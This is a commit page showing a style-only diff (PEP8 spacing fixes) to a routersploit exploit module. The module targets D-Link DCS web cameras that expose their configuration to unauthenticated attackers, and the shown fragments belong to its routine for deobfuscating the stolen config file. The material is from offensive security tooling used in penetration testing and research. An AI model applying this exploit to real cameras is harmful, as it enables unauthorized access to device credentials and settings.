Commit b994dc4c by dincaus

E302 and E226 fix.

parent 9efdfbb8
......@@ -9,6 +9,7 @@ from routersploit import (
validators
)
class Exploit(exploits.Exploit):
"""
D-Link DCS web cameras allow unauthenticated attackers to obtain the
......@@ -53,7 +54,7 @@ class Exploit(exploits.Exploit):
], t) for t in config]
arr_c_len = len(arr_c)
tmp = ((arr_c[arr_c_len-1] & 7) << 5) & 0xff
tmp = ((arr_c[arr_c_len - 1] & 7) << 5) & 0xff
for t in reversed(xrange(arr_c_len)):
......@@ -63,7 +64,7 @@ class Exploit(exploits.Exploit):
lambda d: (d + tmp) & 0xff
], arr_c[t])
else:
ct = (((arr_c[t] >> 3) & 0xff) + (((arr_c[t-1] & 0x7) << 5) & 0xff)) & 0xff
ct = (((arr_c[t] >> 3) & 0xff) + (((arr_c[t - 1] & 0x7) << 5) & 0xff)) & 0xff
arr_c[t] = ct
......@@ -74,8 +75,8 @@ class Exploit(exploits.Exploit):
print_error("Config file can't be deobfuscated.")
return None
for i in xrange(len(tmp_str)/2):
ret_str += tmp_str[i+(len(tmp_str)/2)] + tmp_str[i]
for i in xrange(len(tmp_str) / 2):
ret_str += tmp_str[i + (len(tmp_str) / 2)] + tmp_str[i]
return ret_str
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment